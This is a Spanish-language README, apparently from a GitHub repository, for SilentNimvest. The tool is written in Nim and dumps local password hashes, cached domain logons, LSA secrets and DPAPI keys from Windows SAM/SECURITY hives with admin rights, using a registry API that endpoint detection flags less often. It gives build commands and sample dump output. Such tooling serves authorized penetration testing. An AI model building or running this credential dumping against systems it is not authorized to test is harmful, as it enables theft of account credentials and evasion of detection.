frkngksl/silentnimvestImplementación en Nim del método de Volcado de Credenciales de sud0Ru desde los Hives SAM/SECURITY (también conocido como SilentHarvest)
Básicamente, SilentNimvest es un analizador de SAM y Hives de Seguridad escrito en Nim. SilentNimvest lee claves bajo estos hives utilizando la técnica Silent Harvest. Con esta técnica, en lugar de un privilegio a nivel de SYSTEM, una cuenta de Administrador común que habilite SeBackupPrivilege (gracias a los flags de NtOpenKeyEx) puede volcar los hashes de los usuarios locales, información de inicio de sesión de dominio en caché, LSA Secrets y otros secretos que se pueden obtener de estos hives
mediante el uso de una API de lectura de registro menos alertada por EDR que es RegQueryMultipleValuesW.
Todo el proyecto se basa en la investigación de sud0ru.
Puedes compilar directamente el código fuente con el siguiente comando:
nim c -d:release -o:SilentNimvest.exe Main.nim
En caso de obtener el error "cannot open file", también deberías instalar las dependencias requeridas:
nimble install winim nimcrypto checksums des
SilentNimvest se puede ejecutar directamente sin parámetros requeridos desde un terminal de Administrador elevado.
PS C:\Users\test\Desktop\SilentNimvest> .\SilentNimvest.exe
__ _ _ _ __ _ _
/ _(_) | ___ _ __ | |_ /\ \ (_)_ __ _____ _____ ___| |_
\ \| | |/ _ \ '_ \| __|/ \/ / | '_ ` _ \ \ / / _ \/ __| __|
_\ \ | | __/ | | | |_/ /\ /| | | | | | \ V / __/\__ \ |_
\__/_|_|\___|_| |_|\__\_\ \/ |_|_| |_| |_|\_/ \___||___/\__|
@R0h1rr1m
[!] Trying to parse SAM Related Credentials (Local Users)
[*] Local User RID: 500 - Administrator - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 501 - Guest - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 503 - DefaultAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 504 - WDAGUtilityAccount - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[*] Local User RID: 1001 - zoro - aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[!] Trying to parse Security Related Credentials (Cached Domain Logon Info, Machine Account and LSA Secrets)
[*] DPAPI Keys: dpapi_machinekey: ea31d6cfe0d16ae931b73c59d7e0c089c037b & dpapi_userkey: 44431d6cfe0d16ae931b73c59d7e0c089c0d0
[*] NL$KM: 1f31d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c031d6cfe0d16ae931b73c59d7e0c089c0c01
[*] Plaintext User from _SC_Backupservice: .\zoro:SilentNimvest
Solo para pruebas de seguridad autorizadas. El uso indebido de esta herramienta contra sistemas sin permiso explícito es ilegal.